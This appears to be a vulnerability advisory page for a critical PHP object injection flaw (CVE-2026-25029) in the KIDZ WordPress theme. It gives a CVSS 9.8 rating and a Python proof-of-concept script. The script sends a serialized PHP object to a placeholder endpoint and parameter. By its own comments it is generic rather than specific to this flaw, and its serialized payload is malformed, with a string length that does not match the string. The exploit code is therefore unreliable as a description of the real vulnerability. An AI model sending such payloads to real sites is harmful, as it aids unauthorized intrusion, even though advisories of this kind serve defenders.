Deserialization of Untrusted Data vulnerability in park_of_ideas KIDZ kidz allows Object Injection.This issue affects KIDZ: from n/a through <= 5.24.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
park_of_ideas KIDZ <= 5.24
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
import sys
# PoC for CVE-2026-25029 - Conceptual PHP Object Injection
# Note: The actual vulnerable endpoint and gadget chain depend on the specific theme implementation.
# Target URL (Replace with actual vulnerable endpoint)
target_url = "http://target-site/wp-content/themes/kidz/some_vulnerable_file.php"
# Generic PHP Object Injection Payload
# This payload attempts to instantiate a class that might exist in the WP environment
# and execute a command via __destruct() or similar magic method.
# Example payload structure (needs specific gadget chain to be effective):
payload = 'O:8:"stdClass":1:{s:3:"cmd";s:10:"id";}'
data = {
'insecure_data': payload
}
headers = {
'User-Agent': 'CVE-2026-25029-Scanner/1.0',
'Content-Type': 'application/x-www-form-urlencoded'
}
try:
print(f"[*] Sending payload to {target_url}...")
response = requests.post(target_url, data=data, headers=headers, timeout=10)
if response.status_code == 200:
print("[+] Request sent successfully. Check server for code execution.")
else:
print(f"[-] Server returned status code: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[!] Error connecting to target: {e}")